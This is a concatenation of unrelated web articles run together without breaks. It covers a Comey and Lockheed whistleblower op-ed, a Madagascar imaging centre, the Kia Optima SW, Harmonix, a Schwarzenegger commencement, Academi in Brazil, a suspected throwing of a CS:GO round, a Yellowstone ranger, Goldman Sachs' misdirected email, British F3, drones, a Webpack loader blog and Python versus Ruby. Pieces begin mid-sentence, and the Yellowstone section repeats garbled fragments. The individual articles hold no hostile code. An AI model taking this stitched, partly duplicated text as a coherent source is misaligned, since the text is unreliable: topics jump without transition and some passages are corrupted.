But Comey’s claim in the letter was remarkable, given that the Coast Guard had already pulled the first eight of the completed ships from service because of their buckled hulls. In April 2007, the commandant of the Coast Guard, according to Corporate Counsel magazine, “tacitly acknowledged mistakes by reorganizing the program,” reverting management of Deepwater directly to the Coast Guard and taking it away from Integrated Coast Guard Systems. Then, eleven months after Comey’s claim that all was hunky-dory, the Coast Guard delivered a formal “revocation of acceptance” to ICGS for the eight vessels, citing many of the problems DeKort specified.
This calls into question all sorts of things in Comey’s letter to DeKort. How could “each issue” have been “resolved to the satisfaction of the Coast Guard customer” if, as we now know, just ten months later management of the program would be revoked from Lockheed? How satisfying could the resolution have been if, within a year, the boats were rejected? And why then was The New York Times reporting in September of 2007 that internal Coast Guard documents showed “hundreds of deficiencies” in similar electronics equipment installed by Lockheed in the 418-foot flagship vessel of the Deepwater project?
And here is a bigger question: Does a man deserve to be the nation’s chief law enforcement officer when, these documents suggest, his job included either (depending on how you look at it) flacking for or lying on behalf of the federal government’s largest contractor, which bills Uncle Sam for over $38 billion every year?
The Senate Judiciary Committee, apparently, does not care.
Meanwhile, Lockheed’s treatment of DeKort may make mincemeat of one of the most publicized pledges of Comey before the committee: that he would not retaliate against whistleblowers, since they are “a critical element” of a democracy. Under a law known as the False Claims Act, citizens may sue companies on behalf of the government if they falsely bill the government. DeKort took out such a suit in 2009. His complaint against Lockheed was settled under undisclosed terms late in 2010—by which time the Coast Guard was seeking a refund of the $96 million they had paid for the eight ships.
DeKort might have saved his bosses that headache, had they chosen to listen to him. Instead, they vigorously contested his lawsuit’s claims. Also in that suit, Dekort claimed he was a victim of retaliation on the job, seeking damages of $720 million along with civil penalties, legal costs and other relief. “You’re doing the right thing,” he reported his manager telling him in April 2004, according to Corporate Counsel magazine, when he suddenly got a performance evaluation significantly worse than previous ones, “but it’s going to come back to bite you.” It did: he henceforth got much worse job assignments. Such retaliation would directly contradict an ethics program Lockheed had initiated to much praise in corporate circles—one in which managers like DeKort were specifically trained to file just the sort of internal complaints that he did in 2004, to no avail.
Michael DeKort left Lockheed in August in 2006 and had to take a job in an unrelated industry; he told Corporate Counsel he can no longer get one in defense. And a company statement on the False Claims settlement claimed that Lockheed Martin “continues to meet delivery and performance milestones under our remaining Deepwater task orders, and we are prepared to support the U.S. Coast Guard in its critical national security missions.” I wonder if James Comey helped write that. I wonder what he would have to say about Michael DeKort’s travails. I guess we’ll never know—unless some senator finally decides to do his or her job.The New JRA Imaging Center – Advanced Equipment Is Just the First Step
The newly inaugurated medical imaging clinic in Antananarivo, Madagascar is the first of its kind in the country. While it brings with it the latest diagnostic equipment and treatments, it is also facing a number of obstacles.
Step One – Facing the Challenge
Launched in January 2016, Joseph Ravoahangy Andrianavalona Hospital’s imaging center is open around the clock. It serves roughly 3500 people per month, and yet many remain unaware or reluctant to make use of it. With an aim to increase attendance, the team at the center has begun focusing not only on patient treatment but also on educating the local community on the importance and effectiveness of early diagnosis.
Step Two – Building Trust
For many people, especially those in rural areas, the technologically advanced equipment and its purpose raise a certain amount of skepticism and mistrust. Building trust, especially when it comes to one’s personal health and body is a delicate process that requires patience and work. One of the steps that have been taken in this direction is staffing the center with local professionals only. According to Dr Mohammed Homoud, medical manager of the center, this has not been easy as many staff members had no previous experience with the new machines and needed further training, but in the long term it is definitely worth the effort. The team behind the center – JRA hospital, NIP Global, Madagascar president’s office and Ministry of Public Health – is also working on raising awareness of the importance of regular checkups specifically for breast cancer.
Step Three – Improving Access
According to the World Health Organization, breast cancer is one of the top twenty causes of death in Madagascar. While it is highly treatable when detected on time, the mortality rate from breast cancer in the country has increased by 8.9% since 1990. Now that the mammography equipment is ready and available, and the medical staff is trained to operate it and decipher results, this has to change. NIP Global is working with the center and local leadership to urge the public to attend regular checkups and make mammography services accessible to all women in Madagascar.The Optima SW is based on the latest version of the Optima saloon. The estate has the same 4855mm length and 1860mm width of the saloon, although it grows 5mm in height to 1470mm. Its wheelbase is 2805mm.
Boot capacity is 553 litres with the rear seats up, which is a 48-litre increase over the saloon. Kia has yet to confirm a figure for the maximum capacity with the rear seats folded down. In comparison the Mondeo estate offers 500-1605 litres of space (rear seats up and down), the Insignia estate offers 540-1530 litres and the Mazda 6 estate 506-1648 litres.
The rear seats split 40:20:40 as standard, alongside several convenience features. Included is a pop-up sliding metal luggage rack to secure single items, a powered tailgate that opens automatically when the key is in close proximity to the boot, and a low, flat boot lip.
The interior is based on that of the Optima saloon, and is offered with a 7.0in or 8.0in touchscreen infotainment system. The Optima SW is offered with Android Auto and Apple CarPlay smartphone integration systems, alongside a wireless charging mat and two USB charging points, one of which is located in the rear.
The Optima SW is set to be offered with two engines in the UK, including a range-topping GT version with a turbocharged 242bhp, 260lb ft 2.0-litre petrol engine hooked up to a six-speed automatic gearbox. Performance figures have yet to be revealed.
The other engine in the line-up is the 139bhp, 251lb ft 1.7-litre turbodiesel. This can be hooked up to either a six-speed manual or seven-speed dual-clutch automatic. Economy and CO2 figures have yet to be revealed. In the Optima saloon, the 1.7 manual has CO2 emissions of 110g/km and 56mpg combined economy.
Kia also has plans to equip the Optima SW with the same plug-in hybrid drivetrain that is being introduced in the saloon. An all-road version has been ruled out, however.
Kia claims to have tuned the Optima SW’s independent suspension to improve agility and offer better protection from bumps and poor road surfaces. There are also bespoke spring and damper settings for the estate.
An electronically controlled adaptive suspension system is offered on the Optima SW, which includes Normal and Sport modes and is tuned specifically for European driving tastes. This is optional on the diesel version and standard on the petrol-powered GT model.In the interest of clarity, here is the full quote from Harmonix CEO Alex Rigopulos today.
"[The Rock Band and Dance Central franchises] are near and dear to our hearts and our minds. And we have grand plans to bring back both of them with guns blazing at some point in the coming console cycle."
The original story is below.
Today during a PAX East keynote address, Harmonix CEO Alex Rigopulos teased that the Boston area studio has "grand plans" to bring the Rock Band and Dance Central franchises to the new generation of consoles, presumably the Xbox One and PlayStation 4, and potentially Wii U.
He prefaced his talk this morning by saying he would not announce a Rock Band 4 or Dance Central 4 and he did not say if these games were in fact in development in any way. However, he stressed that both franchises are "near and dear" to Harmonix. He went on to say that the studio plans to bring these franchises to the "coming console cycle" "at some point" and with "guns blazing."
The comments today from Rigopulos are not terribly surprising. Last summer, he said that the Rock Band franchise will return "at the right point in time."
The most recent entry in the core Rock Band series was 2010's Rock Band 3, though the studio would ship a downloadable game, Rock Band Blitz, in 2012. Meanwhile, the last Dance Central game was 2012's Kinect-enabled Dance Central 3 for Xbox 360.
Harmonix is currently working on music game Fantasia: Music Evolved for Xbox 360 and Xbox One, as well as a free-to-play FPS called Chroma.
For its part, Activision has also suggested that the Guitar Hero series, put on hiatus in 2011, could come back some day.
Also during the keynote today, Rigopulos announced a new mobile game from Harmonix called Record Run. It's a music-inspired endless runner, but that's all we know about it right now.
What would you like to see from a "next-generation" Rock Band or Dance Central game? Let us know in the comments below!Arnold Schwarzenegger will be the University of Houston's commencement speaker in May.
Actor, businessman and former governor of California Arnold Schwarzenegger will speak at the University of Houston’s spring commencement.
The university-wide commencement is set for 10 a.m. Friday, May 12, at TDECU Stadium.
Commencement is the formal university-wide celebration at which degrees are officially conferred upon graduating students, a tradition that the university restarted three years ago after TDECU Stadium was completed. This year’s ceremony will be livestreamed at uh.edu.
Schwarzenegger, one of the most recognizable stars in both Hollywood and politics, has previously given commencement addresses at Emory University and the University of Southern California.
As the Republican governor of California from 2003-10, Schwarzenegger was known for working with members of both political parties to address climate change, renewable energy, rebuilding infrastructure and addressing health care and political reforms.
“He is an accomplished and well known actor and politician,” Paula Myrick Short, senior vice president for academic affairs and provost at UH, told regents for the UH System as she reported on commencement plans. “He has worked with leaders of both major political parties as governor in addressing some of the challenges that California has faced, and since leaving office, he has continued to promote state and local clean energy efforts.”
He founded the clean-energy nonprofit R20: Regions of Climate Action and established the Schwarzenegger Institute for State and Global Policy at the University of Southern California, which works on environmental, economic and other public policy issues. He serves as chair of the think tank board and holds a professorship in public policy at the school.
More information about the commencement is online. Details about media credentials for the ceremony will be announced later.As the World Cup nears, the Brazilian press has reported that the American company Academi, formerly Blackwater, carried out training of Brazilian military personnel and federal police in April.
The training is a facet of the military cooperation agreement between Brazil and the United States signed in 2010 during the second term of the Lula de Silva administration in preparation for containing terrorist acts during this year’s World Cup. Academi is a private security company based in the United States, and has used mercenary soldiers in the wars in Afghanistan and Iraq.
When the agreement was signed, the Brazilian government maintained that the accord would permit the “strengthening of dialogue and opening of new cooperation prospects on a balanced and mutually beneficial basis.” According to the Brazilian government, it was attempting to “perfect already existing and future cooperation in areas such as high-level delegation visits, technical contacts, institutional meetings, student exchanges, training of personnel, visits by ocean vessels, and sporting and cultural events.”
The minister of defense at the time, Nelson Jobim, declared the agreement “very general” and a sort of “giant umbrella” beneath which “many possibilities will open in terms of future negotiations”, but did not give details in terms of what those negotiations would be or what they would mean.
Although the terms of the agreement regarding its activities are generic, the concept of security promoted by the United States and the services offered by Academi are more concrete. “It is a logic of commercialization, of privatization, and a move toward the use of third-party security,” affirms Esther Solano Gallego, professor of International Relations at the Federal University of Sao Paulo.
The industry that capitalized on the concept of “terrorism” has increased the use of “security” as a market platform. Within the framework of the “security” initiatives of the United States government, Academi offers on its official website everything from assistance to foreign militaries, to training in the fight against transnational terrorism and the interception of weapons of mass destruction.
The concept of “security” that guides U.S. military doctrine has influenced and continues to influence the signing of international agreements within the framework of the “war on terror,” where the enemy is found within the general public, an enemy that must be attacked using every possible means. “The concept of ‘enemy’ and ‘terrorism’ as a basis for security is a type of security with a large ideological component,” states Gallego.
In a country without a history of terrorist incidents, Gallego considers the potential terrorist threat at the World Cup minimal. The risk of instability during the event is a different matter. “Possible demonstrations are being organized by some groups of the Brazilian populace to protest and confront police,” Gallego explains.
An internal enemy
The enemy indicated by the media, governments, and the police are social movements. Even an anti-terrorism bill currently being debated in the Brazilian Congress defines these groups as “enemies,” using actions like those of Black Bloc as justification for the law.
“We cannot understand Black Bloc as a terrorist phenomenon. This category is not applicable. The problem is that a social and political neurosis has been created as a result of the actions of Black Bloc in the streets. There was no serious debate about what was happening and these bills appeared (like the anti-terrorism legislation) without internal coherence, as a political play, that does nothing more than create more serious problems and raise the climate of social tension,” emphasizes the professor.
Sovereignty?
Academi’s actions are often carried out without information about what is happening. “The training of the Brazilian police surprised us because nothing had been communicated with respect to the intervention of this mercenary company. This is one of the principle problems–the lack of information surrounding Academi’s actions, which makes supervision, demand for respect of the law, and social accountability very difficult.”
Professor Gallego asks, ”Until what point is it legitimate to delegate control over security and violent assignments to a mercenary company over which the citizens have no control?”
“In the case of Academi it is even more controversial and polemic because the company has accumulated lawsuits and, furthermore, is a foreign company that is exporting a security model to Brazil that the Brazilian people have not chosen. In some ways it is an interference in the sovereignty of the citizenry,” she adds, noting that Brazilian citizens were not consulted |
Qualifier Wild Card tournament, where 16 teams from the Asia region are competing for a prize pool of $12,147. During the match, MAX reached 12 rounds to OTFS' 8, when they eliminated all but one of their opponents players. In a 3 v 1 situation, and the round timer ticking down, the three terrorists retreated down Mid on Mirage. The three players had weapons, utility and armor and could easily have won the round then and there, but they ran away instead of facing the last OTFS player, t1me.
x
x
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Aware the round was coming to a close, t1me checked behind him and began to run away, or so it seemed. With 10 seconds left, the CT player made the bizarre decision to return to Mid and face the terrorist players instead of easily running the clock down and winning the round. He was blinded by the other team, but rather than stop he ran out into mid with his knife out, clearly not trying to survive or win the round. The MAX players, who were not blind saw the CT player and had every opportunity to kill him and win the round for themselves, but instead one player runs past and hides, while the others run away once again.From the video, it looks apparent that both teams were trying desperately to lose the round, although the match was canceled when OTFS forfeited the game due to what they claim were 'internet issues'.Editor's Note — CNN.com's weekly Summer in the Park series turns to rangers at the United States' most popular national parks to get insider recommendations for your visits, whether you have just one day or can stay longer.
(CNN) — Former U.S. Marine Dan Hottle knew he had found his dream job at Yellowstone National Park
Hottle grew up going to the national parks on family vacations, exploring parks in New Mexico, Colorado and the rest of the Southwest.
After he left the U.S. Marine Corps in 2002, his combat tour in Afghanistan was still on his mind. Just walking into a convenience store created sensory overload. So he bought a backpack, filled it with camping gear and hiked national parks extending from California to the Midwest.
"Where I had just come from was so austere," he said. "So the national parks were the perfect place to be by myself. It's the best thing I could do."
Hottle had worked as an enlisted public affairs specialist in the military and had run his own video production business after being discharged. Keeping his eyes open for jobs in the federal government, he noticed a job posting for a spokesman at Yellowstone that seemed too good to be true. With his wife's encouragement, he applied and got the job two weeks later.
Yellowstone's military history
Hottle is one of many military veterans who have worked for the National Park Service and at Yellowstone, the nation's first national park, established in 1872. The U.S. Army administered the park for the first 32 years of its existence, and many of its first park rangers were veterans. Yellowstone's headquarters are old Army barracks dating to the early 1900s.
About 300 full-time employees live there year-round. "It's pretty rural and only packed with visitors in the summer," he said. "We have seven months of winter, so you have to be really outdoorsy and love your surroundings."
It can also be brutal. "Nature is what's driving life here," he said. "We've seen the most brutal acts of nature happen in our front yard. I accept it because I know where I live, and I know what I'm seeing.
"I saw an injured bison on the road, and I know it's going to be food for a grizzly bear later this afternoon. That's hard for people to get their heads around. They think it's cruel and inhumane for some of the natural processes to occur. But they get it when we explain it to them."
Park stats: Yellowstone National Park was the Yellowstone National Park was the fourth-most-visited national park (PDF) in 2012, with 3.4 million visitors last year.
The location:, mostly in Wyoming's northwest corner. (Just 1% is in Idaho, and 3% is in Montana.) Although Yellowstone is open year-round, just one road from Cooke City, Montana, to Mammoth Hot Springs, Wyoming, is plowed in winter. Yellowstone is on 2.2 million acres, mostly in Wyoming's northwest corner. (Just 1% is in Idaho, and 3% is in Montana.) Although Yellowstone is open year-round, just one road from Cooke City, Montana, to Mammoth Hot Springs, Wyoming, is plowed in winter.
If you go: Park admission is $25 for a private, non-commercial vehicle, $20 for a snowmobile or motorcycle and $12 for visitors ages 16 and older arriving via foot, bike, skis, etc. Passes are valid for seven days and grant admission to Grand Teton National Park. (Save your receipt for proof of payment.)
Permits are required for boating, fishing, backcountry camping and weddings.
For a day trip, don't miss: Canyon Village, in the center of the park. While Canyon Village, in the center of the park. While Old Faithful Geyser is the big draw for first-time visitors to Yellowstone, it can take the whole day to enjoy and get around the geyser basin where it's located. Hottle likes to send people about 25 miles away to Canyon Village, which features the Grand Canyon of the Yellowstone. Formed by the Yellowstone River, the canyon is about 20 miles long with widths ranging from 1,500 to 4,000 feet and depths of 800 to 1,200 feet. It's also fairly young, estimated to be between 10,000 to 14,000 years old.
"I think it's the prettiest part of the park," Hottle said. "It's got bears, elk, bison, wolves. If you're going to see any animal, you're going to see it in the middle of the park."
If you're determined to see Old Faithful, don't miss the nearby Grand Prismatic Spring. "The vibrancy of the colors around the spring are created by natural bacteria," Hottle said. "Those are quintessential colors of science and Yellowstone."
Favorite less-traveled spot: Hottle's favorite spot doesn't have a name. It's in the northeast corner of the park, just outside Lamar Valley and near Cooke City, Montana.
About 55 miles from his home in Mammoth Hot Springs, Wyoming, "it's the most rugged and mountainous part of the park," he said. "It feels like you're in the Swiss Alps with rugged young mountains that pop up, getting most of the snowfall in the park and raging rivers. There aren't a lot of visitors."
His family hikes there year-round, snowshoes and skis there in the winter and has picnics there in the summer. "It's where we see the most wildlife," he said.
Favorite spot to view wildlife: The rangers will tell you that anytime you go off trail anywhere in the park, there's a good chance you'll spot wildlife. Still, Hottle likes his chances on the drive through Blacktail Plateau.
Early in the morning or later in the evening, when he's driving the only car on the road, Hottle likes to stop at a pullout about halfway to Lamar Valley, where he can sometimes hear wolves howling. He doesn't have to hike more than one or two miles for a good chance to see a wolf pack or any of other animals that live in the park.
Although the spot is well-known in the wolf watching and backcountry hiking community, he said, "most people would drive right through it."
Most magical moment in the park: He remembers : He remembers a moment with a five-point bull elk at Phantom Lake in 2011. Near Blacktail Plateau, the lake usually fills during the spring melt and dries up by July. But sometimes it can last throughout the summer.
As the sun was setting, "I sat down on a rock to look at the water, heard a snorting noise and saw a five-point bull elk swim out into the water in front of me," he said. "I just saw his great big eyes and heard his breathing, swimming almost silently."
Hottle watched the elk swim to the side of the lake and climb out of the water.
"He shook himself off -- he weighed 700 pounds maybe -- and ran over the other side of the road into the trees. Before he disappeared into those trees, he looked at me. A wildlife-to-human moment."
Funniest moment at the park: Moments after he spotted that bull elk, a tourist asked him, "Where's the wildlife?" Every day, people come up to him and ask him that question, and "behind them are 30 elk" or other wild animals, he says. "I think that's pretty funny."
"You can drive around for two weeks and not see a bear, and then three show up in my front yard," he said. "You just get lucky."
A ranger's request: Don't try to admire the wildlife and scenery while driving. "We have so many vehicle accidents here because (people) are trying to see the whole thing through their windshields while they're driving," Hottle said. "I don't take my eyes off the cars passing me for a second, and everyone is in their cars with their heads turned sideways."
Don't stop in the middle of the road, either, although visitors often do. "You can start your own traffic jam," he said.
Instead, stop in pullouts and park your car to admire the spectacular natural landscape.
Another request: Stay away from large animals. For three months in the summer, park rangers use orange cones to block off elk calves resting in the grass. "Female elk with calves can take people out," Hottle said.
Another park he likes to visit:. Even though it's next door in Montana, it's a nine-hour drive for Hottle and his family to get there. "It's just spectacular," he said. Glacier National Park. Even though it's next door in Montana, it's a nine-hour drive for Hottle and his family to get there. "It's just spectacular," he said.Share
” id=”attachment_614439″] On Thursday we learned that Goldman Sachs had asked Google to delete an email containing “highly confidential brokerage account information” that was sent in error to a Gmail account on June 23, recipient unknown.
The banking giant said that if the email wasn’t deleted, it could lead to a “needless and massive” security breach.
After contacting Google, the Web company told Goldman Sachs that it would only consider deleting the email if ordered to do so by a court.
Apparently unwilling to wait for the judge’s response and fearing the contents of the email may be accessed, the investment bank returned to Google to ask again if it could deal with the matter. And it has.
Blocked
A spokesperson for Goldman told Reuters that Google has now prevented the recipient of the email from opening the message, though it has not deleted it. It’s not clear what method Mountain View technicians have used to block access to a single email or whether it’s left the owner of the account a message explaining its actions. We’ve reached out to the company for more information and will update if we hear back.
“Google complied with our request that it block access to the email,” Goldman’s Andrea Raphael told Reuters. “It has also notified us that the email account had not been accessed from the time the email was sent to the time Google blocked access. No client information has been breached.”
Mix-up
The troubling episode for Goldman kicked off last month when an outside contractor testing work being done on the bank’s internal systems mistakenly emailed her report containing sensitive information to a @gmail.com address instead of one ending in @gs.com.
The bank said that several follow-up emails to the gmail address failed to elicit a response, leading it to contact Google for help.
Requesting a court order for Google’s intervention, Goldman Sachs said urgent action was required “to avoid the risk of inflicting a needless and massive privacy violation upon Goldman Sachs’ clients, and to avoid the risk of unnecessary reputational damage to Goldman Sachs.”
The Wall Street giant will certainly be pleased that the issue has been cleared up, though its own admission that it was heading for a “needless and massive privacy violation” will hardly have enhanced its reputation when it comes to issues of online security and it how it deals with sensitive data.
As for the person whose Inbox was opened by someone other than him or herself, we’ll probably never know how they felt about their privacy violation, though we assume the bank would claim it was neither needless nor massive.Toby Sowery scored a commanding victory in the penultimate race of the BRDC British Formula 3 season at Donington Park, as Matheus Leist took a step closer to the title.
The Lanan Racing driver made a good start from fourth on the grid to climb to second place behind reverse-grid polesitter Eugene Denyssen.
Then, after an early safety car period, he was able to grab the lead from the South African at the Melbourne hairpin, and set a string of fastest laps to win by seven seconds and get pole for the season finale.
When team-mate Aleksanteri Huovinen spun into the barriers at the restart, Leist was promoted up to fourth from eighth on the grid.
He spent the rest of the race up behind SWR drivers Denyssen and Thomas Maxwell, but was looking to the outside of Maxwell at Melbourne for the final time when Harrison Scott sneaked past him for fourth.
Leist still increases his points advantage however by beating rival Ricky Collard, who had to come from the back of the grid after his collision with Enzo Bortoleto in race one.
He would come together with Bortoleto again early in race two at Melbourne, the pair clashing wheels and Bortoleto being knocked upside down.
Collard continued to make progress however, and finished 10th, but loses another five points to Leist and is now 25 behind with 35 available in the final race.
Based on the fastest laps, Leist is set to start fifth on the grid for the final race with Collard seventh.Interest in flying robot technology is skyrocketing, bringing a thrilling wave of novel uses for drones from saving lives to creating new entertainment.
Initially known to many for their military use, drones have evolved quickly into tools for creating and enjoying new experiences. They have become flying extensions of the human desire to innovate, help people and have fun.
Nearly four million commercial drones are expected to sell this year, rising to 16 million a year by 2020, according to a new report by Juniper Research.
“Three years ago, this technology was so expensive, so unattainable, that only the professional cinematographer could afford it,” said International Drone Racing Association CEO Charles Zablan in an interview with The New York Times. Zablan said that now a full drone racing kit with flying google can be bought for about $1,000.
Like many new technologies that become affordable and widely available, these flying robots are proving to be useful as well as entertaining.
In war-torn Syria, drones are delivering food to starving villages. Drones carry cargo so frequently in Rwanda that they have their own airport.
While drones bring stunning aerial video perspectives on life, they’re also inspiring people to create art and invent games that never existed before.
Here are five innovative ways drones are bring used:
Drones on the Silver Screen
Using drones to capture footage that would normally require expensive helicopters or cranes is more common not just in major Hollywood productions but also in videos created by small production houses and even amateurs.
In “First Flight of the Phantom,” viewers see the oft-filmed grandeur of NYC from a totally new perspective, with the DJI Phantom moving from street level to building-top in one continuous shot.
It’s not just for smaller indie films, either — Chappie, Neil Blomkamp’s latest venture into South African sci-fi, filmed several of its action shots with aerial drones.
This November, the Flying Robot International Film Festival will even make history as the first to feature films exclusively made by, and about, these autonomous flying devices.
Drones Scare Geese to Protect Other Animals
On the beaches of the Ottawa River, geese reign wide swaths of land as tyrants, proving resistant to all efforts to dislodge them and rendering most of the watery real estate uninhabitable.
Ottawa, however, has a new trick up its sleeve. The GooseBuster is a drone fitted with speakers blaring the howl of a grey wolf as it zooms through the air (geese hate flying wolves). Unsurprisingly, it’s done wonders, scaring off the winged bullies at lightening speeds.
Aside from terrifying geese, drones can also be used to protect endangered animals.
Lian Pin Koh and Serge Wich, two scientists spearheading conservation efforts for the Sumatran orangutan, developed an inexpensive, lightweight drone that maps large swaths of land, a process that was once costly and time-consuming. They’ve even used their drone to take aerial photographs of orangutan treetop nests, something that’s been impossible to do in the past.
Drones Capture the Eye of the Storm
Because drones are unmanned and cheap, scientists can send them into all kinds of dangerous situations. One explorer, Sam Cossman, even sacrificed a camera-mounted drone to capture mind-blowing images and footage of active volcano Vanuatu.
For those more interested in academics, drones can venture inside a tornado. Right now, scientists have a lot of questions about how tornadoes are formed, and although the movie Twister showed otherwise, humans can’t safely collect data from the center.
Engineering students at Oklahoma State University could be changing that in the future. They are working to develop drones capable of flying into dangerous storms and collecting data.
NASA is also developing a drone for monitoring dangerous weather: The Hurricane and Severe Storm Sentinel, or HS3, studies the storms from above, closer than any piloted aircraft could ever safely attempt.
“Our hope is to be able to make better predictions about the impacts of hurricanes,” meteorologist Sharan Majumdar told Discover Magazine.
That’s certainly a crucial task, considering how hard coastlines around the world have been pummeled by severe weather in the last few years.
Drones Lift Urban Artists
When these flying machines are used for surveillance and military combat they invoke authoritarian symbolism, so it was shocking for many to see rebellious drones defacing a colossal Calvin Klein outdoor advertisement in New York under the dark of night.
Last April, KATSU, a well-known graffiti artist, vandal and ne’er-do-well, used a drone armed with a can of spray paint to draw horizontal slash marks across the gargantuan billboarded face of Kendall Jenner.
While the art itself wasn’t terribly impressive, it’s the kind of performance that could never have been accomplished by mere human hands. As drone technology improves, so, too, will the displays of public tagging.
“Seventy percent of the concentration is in maintaining this equilibrium with the two dimensional surface while you are painting,” KATSU explained to Wired.
But he seemed optimistic about future careers of drones as graffiti artists.
“It’s exciting to see its first potential use as a device for vandalism.”
Drones Join a Fight Club
The dream of battling robots to the death has been around ever since robots were first imagined. Something about unmanned machinery summons the inner toddler in everyone who used to mash action figures together until a limb popped off.
So it seems only natural that the most exciting use of this high-tech gadgetry is making them fight each other for human amusement. Robot Combat League, anyone? But fighting while flying takes the amusement to new levels.
As this video from Intel’s Meet the Makers series shows, it takes more than cutting-edge technology to win. Pilots are constantly fixing their fighters on the fly, which requires them to become skilled engineers in order to best their opponents.
The Aerial Sports League (ASL) currently leads the pack in flying robot death matches, featuring races and obstacle courses for pilots to navigate.
But the real draw is the cage matches (or net matches, more accurately) where two drones try to get the drop on each other by jamming their frames on top of the other’s propellers, sending the lesser drone into a crash landing.
But ASL founder Maqrue Cornblatt points out that the heavy-duty drones used in these sports are great for reasons other than aiding destruction.
“They’re really ideal for STEM and educational outreach,” he explained. “It’s a drone little kids can build and smash and take apart and rebuild over and over again.”
Cornblatt and his team specifically incorporated “pit stops” that allowed pilots to fix their fighters on the spot, making drones sports a fantastic hobby for burgeoning engineers.
“We have an intrinsic human desire to see violence,” Cornblatt said. “But to put it in this context, where it’s safe and actually educational, is extremely rewarding.”
Presumably, though, it’s only a matter of time before flamethrowers and buzz saws are added to the fray.
As drone technology continues to improve, philanthropists, makers and rebels will find new and interesting ways to entertain, inform and accomplish their goals.My first time writing a Webpack Loader
Yash Kulshrestha Blocked Unblock Follow Following Aug 22, 2017
Webpack
As we move towards larger Javascript projects, we start to need to add more and more files to our index.html. One way to manage all the files is to have the list of files automatically injected into the main page. The other way is to use a packing tool like Webpack and package all the source into one file. This also has the additional benefit of optimizing network calls and load speed.
Webpack, just out of the box will package all the source code into one file and output a bundle but it also has a large ecosystem of loaders and an active loader development community. Want ESNext support? Just add babel-loader and you’re ready to transpile. Webpack can also handle files other than Javascript code like HTML files, CSS, SASS, fonts, images and even markdown if you use the correct loader.
Yeah, Webpack is 🔥.
What can a loader do?
This loader ecosystem makes Webpack really powerful. A loader, put simply, is a bit of code that is used to extend or create the processing pipeline for a certain file extension. For example, we can use the image-loader to enable Webpack to process images and we can use aforementioned babel-loader to process ESNext Javascript and transpile it down to code that runs on a large range of browsers while still being able to use the latest features that come with new ECMAScript standards.
There is a long list of loaders on GitHub and it includes general purpose loaders like the css-loader, which can add CSS styles to the Webpack bundle to more specific loaders like the vue-loader, which helps Webpack pack Vue.js components. These loaders and make Webpack really powerful but what if we want to get even more specific, maybe we need Webpack to an internal enterprise process or have an idea that doesn’t exist as a loader yet? You can make your own loader!
I wrote a loader!
A little background before I get into the loader that I wrote. To get any AngularJS code packaged through Webpack, you have to have some way of getting the templates inserted into the Javascript code. Angular already has a way to do that in the form of a service called $templateCache. All you need to give it is a string that is the name of the template and the template, read from a file, also in string form. There is a loader out there called ngtemplate-loader that will take AngularJS templates and put them in the $templateCache. You just have to make a change to all files that have a template and require() the template before telling AngularJS about it.
This is where I saw an opportunity. What if we didn’t need to edit each file? The ngtemplate-loader that I mentioned works on HTML template files in your AngularJS project. What if we wrote a Webpack loader to work on the Javascript files, pull the template path out (stored in a key called templateUrl ), require() it and then let the ngtemplate-loader run on HTML files denoted by the path? That’s exactly what I did. I created a loader called auto-ngtemplate-loader that will run on all Javascript files and require in all the HTML template files automatically. No manual edits needed! It even supports multiple templates in a single file and changing the variable name that the template stored in to avoid name collisions.
#WYOL (Write Your Own Loader)
Webpack has made getting started writing a loader really really simple. There is a very well documented get started guide on Webpack’s website that walks you through setting up a loader project. The structure of a loader is really quite simple.
That’s it! We’ve just created a loader that returns the source unchanged. Of course, this specific loader isn’t very interesting but it helps illustrate the simple structure of a loader. You get the source and the source map passed into your loader. You do your stuff and then use this.callback to tell Webpack when you’re done and if there were any errors. Not only that, the this object in the loader function has all of the Webpack loader API accessible from it. 👍
Let’s write another loader but let’s make things more interesting — we’ll write a loader that removes console.log statements this time around. Time me.
And done!
The next step is to include our loader in the Webpack config and watch it work. Webpack loaders essentially create a processing pipeline for your code which gets evaluated in the reverse order that it is listed. For example, if our loader is listed after babel-loader, our loader will pass its results on to babel-loader. The source that we pass to this.callback then gets passed onwards to babel-loader as an argument.
My experience through the entire loader development process was exceptional and this only serves as a nod to the Webpack team for creating an easy to understand and easy to use API for extending Webpack. The codebase (with examples) is located on Github here. Go take a look at the code!
And now it’s time for a shameless plug.
auto-ngtemplate-loader
My loader is called auto-ngtemplate-loader. Once included (preferably last in the list so that it runs on the unmodified code), it will look through the Javascript files for the templateUrl key and add a line of code to the top of the file for each template it finds to import it so that ngtemplate-loader can put in AngularJS’s $templateCache.
If you have a large AngularJS codebase and have been thinking about switching to React or Angular or even if you’re just looking to get ESNext support, the first step you’re going to need to take is including Webpack in your build. auto-ngtemplate-loader can help ease some of the pain of converting a large AngularJS project over to a newer technology. You can add auto-ngtemplate-loader to your build by running npm install --save-dev auto-ngtemplate-loader. It’s fully documented and the repository has examples of a few cases that the loader handles well.
You can find the package here on npm and the code here on Github. Contributions are always welcome. 💯
Final thoughts
I got the idea to write a loader that automatically require s in HTML templates in your Javascript files so that Webpack can load them into AngularJS’s $templateCache. I thought that I would have to spend a few days testing things out before I could get a Webpack loader working but thanks to awesome documentation and guides from the Webpack team, I was up and running in about 15 minutes and done in less than half a workday. It was a breeze; extending Webpack is just as easy as using Webpack. That’s not very often the case and it’s very commendable. Many fist bumps are in order!Python and Ruby are among some of the most popular programming languages for developing websites, web-based apps, and web services.
In many ways, the two languages have a lot in common. Visually they are quite similar, and both provide programmers with high-level, object-oriented coding, an interactive shell, standard libraries, and persistence support. However, Python and Ruby are worlds apart in their approach to solving problems because their syntax and philosophies vary greatly, primarily because of their respective histories.
Which one to implement for web development requires some thought because all languages have strengths and weaknesses and your decision will have consequences.
The basics
Python was developed organically in the scientific space as a prototyping language that easily could be translated into C++ if a prototype worked. This happened long before it was first used for web development. Ruby, on the other hand, became a major player specifically because of web development; the Rails framework extended Ruby's popularity with people developing complex websites.
Which programming language best suits your needs? Here is a quick overview of each language to help you choose:
Approach: one best way vs. human-language
Python
Python takes a direct approach to programming. Its main goal is to make everything obvious to the programmer. In Python, there is only one "best" way to do something. This philosophy has led to a language strict in layout.
Python's core philosophy consists of three key hierarchical principles:
Explicit is better than implicit
Simple is better than complex
Complex is better than complicated
This regimented philosophy results in Python being eminently readable and easy to learn—and why Python is great for beginning coders. Python has a big foothold in introductory programming courses. Its syntax is very simple, with little to remember. Because its code structure is explicit, the developer can easily tell where everything comes from, making it relatively easy to debug.
Python's hierarchy of principles is evident in many aspects of the language. Its use of whitespace to do flow control as a core part of the language syntax differs from most other languages, including Ruby. The way you indent code determines the meaning of its action. This use of whitespace is a prime example of Python's "explicit" philosophy, the shape a Python app takes spells out its logic and how the app will act.
